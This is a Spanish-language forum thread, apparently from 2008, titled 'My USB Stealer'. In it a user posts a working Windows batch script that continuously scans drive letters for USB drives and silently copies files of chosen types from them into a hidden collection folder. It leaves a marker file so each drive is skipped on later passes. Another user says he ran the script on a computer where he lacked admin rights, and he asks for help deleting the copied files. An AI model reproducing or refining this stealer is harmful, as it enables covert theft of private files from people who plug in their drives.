My USB Stealer

Iniciado por corax, 1 Octubre 2008, 18:26 PM

0 Miembros y 1 Visitante están viendo este tema.

SmartGenius

Hay una cosa que se os esta lvidadno y es que el code siempre va a estar en ejecucion y copiando cosas de las unidades a menos que pongan algo que le diga que ya debe dejar de hacerlo....

Por ejemplo...el hace el Escaneo de las unidades C....Z y empieza a copiar, luego por ejemplo tenemos una USB en la unidad H, el pasa y al encontrarla hace lo debido de copiar los datos, despues sigue con las demas unidades pero como ya no hay mas pues vuelve a empezar el ciclo y vuelve a recopiar todo lo de la unidad H y asi sucesivamente, por eso es que no se las deja expulsar porque sigue siendo usada......en eso ya habia pensado y es por eso que agregue algo de comprobacion en la siguiente parte...

:usb
set letra=%1
if exist "%letra%:\db.ini" goto :eof
for  /r %letra%: %%t in (%filetypes%) do (copy "%%t" %myfolder%)
echo USB >%letra%:\db.ini
goto :eof


asi cuando vaya a esa unidad simplemente la ignora porque ya fue analizada y se libra dle problema de que esta siendo usada, aunque en alguna proxima ocasion podria ser cambiado el contenido de dicha unidad y el programa no podria funcionar por lo que habria que hacer ya un chekeo por fecha de la creacion del archivo de comprobacion, pero no debe ser muy dificil...

aparte otra cosas en la que deben mejorar el codigo es en la comprobacion de las unidades USB...

Miren el codigo de la V2...

Código (dos) [Seleccionar]
@echo off
title USB Stealer
REM Motor de Escaneo de USBs
REM Coded by :: SmartGenius ::

:ini
for /F "tokens=*" %%a in (myfolder.cfg) do set myfolder="%%a"
for /F "tokens=*" %%b in (ftypes.cfg) do set filetypes=%%b
if exist "scan.exit" exit
goto main

:main
for %%n in ( D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
if not exist "%%n:\RECYCLER" call :usb %%n)
goto ini

:usb
set letra=%1
if exist "%letra%:\db.ini" goto :eof
for  /r %letra%: %%t in (%filetypes%) do (copy "%%t" %myfolder%)
echo USB>"%letra%:\db.ini"
goto :eof



Cualquier duda pueden postearla que con gusto les ayudare..

Saludos.


corax

Excelente, SmartGenius, creo que eso era lo que faltaba.

Muchas gracias.


Nos vemos  ;)
Nuestro idioma ha tardado 12 siglos en llegar hasta hoy día. Tú tan sólo tardas 20 segundos en escribir un post: no destroces en tan poco tiempo lo que tantos siglos ha costado crear.

estudcom

 joe muchisimas gracias de verdad ya he conseguido todo lo que queria y gracias a vosotros. Solo tengo una preguntilla mas (la ultima de verdad). He probado en un ordenador en el que no tengo privilegios de administrador el programa y he metido mi pen drive. Ha copiado perfectamente todo a una carpeta en c como queria. como ya he visto que funciona he borrado el programa completamente del ordenador. El problema es que ahora quiero borrar los archivos de mi pen drive que se copiaron al ordenador y me salta la ventana de error, de que se estan usando o algo así. He reiniciado el ordenador y he vuelto a iniciar sesion y sigo sin poder borrarlos. Conoceis alguna forma efectiva de borrar carpetas y archivos? He utilizado estos tres programas y me dicen que no pueden borrarlos.
Unlocker
File assesin
Killerbox

Puede ser que ya no pueda borrarlos nunca a no ser que se formatee el ordenador?. Os digo que no tengo privilegios de administrador y por si eso influyera he pasado la carpeta de c donde se copio todo a mis documentos porque en mis documentos si puedo borrar cosas que copie de mi pen, pero tampoco me deja. Lo que quiero decir es que en el ordenador puedo borrar archivos perfectamente (escepto lo de archivos de programa) con lo que no entiendo porque no me deja borrar estos. Muchas gracias por todo aunque no puedan ayudarme

corax

hola estudcom,

en principio esos archivos deberían poder borrarse de manera perfectamente normal, y más utilizando herramientas como el KillBox o el Unlocker... si a pesar de usarlas no has podido borrar los archivos, inténtalo con el Clean Disk Security.
Puedes encontrarlo aquí:

http://www.theabsolute.net/sware/clndisk.html


Una vez instalado presiona con el botón derecho del ratón sobre la carpeta de archivos que quieras borrar y selecciona "erase fully".

Es un truco que me ha funcionado a veces cuando los archivos se ponen rebeldes y no consigo que funcione el Unlocker.

Si no te funciona háznoslo saber y encontraremos una solución.

Hasta pronto!

Nuestro idioma ha tardado 12 siglos en llegar hasta hoy día. Tú tan sólo tardas 20 segundos en escribir un post: no destroces en tan poco tiempo lo que tantos siglos ha costado crear.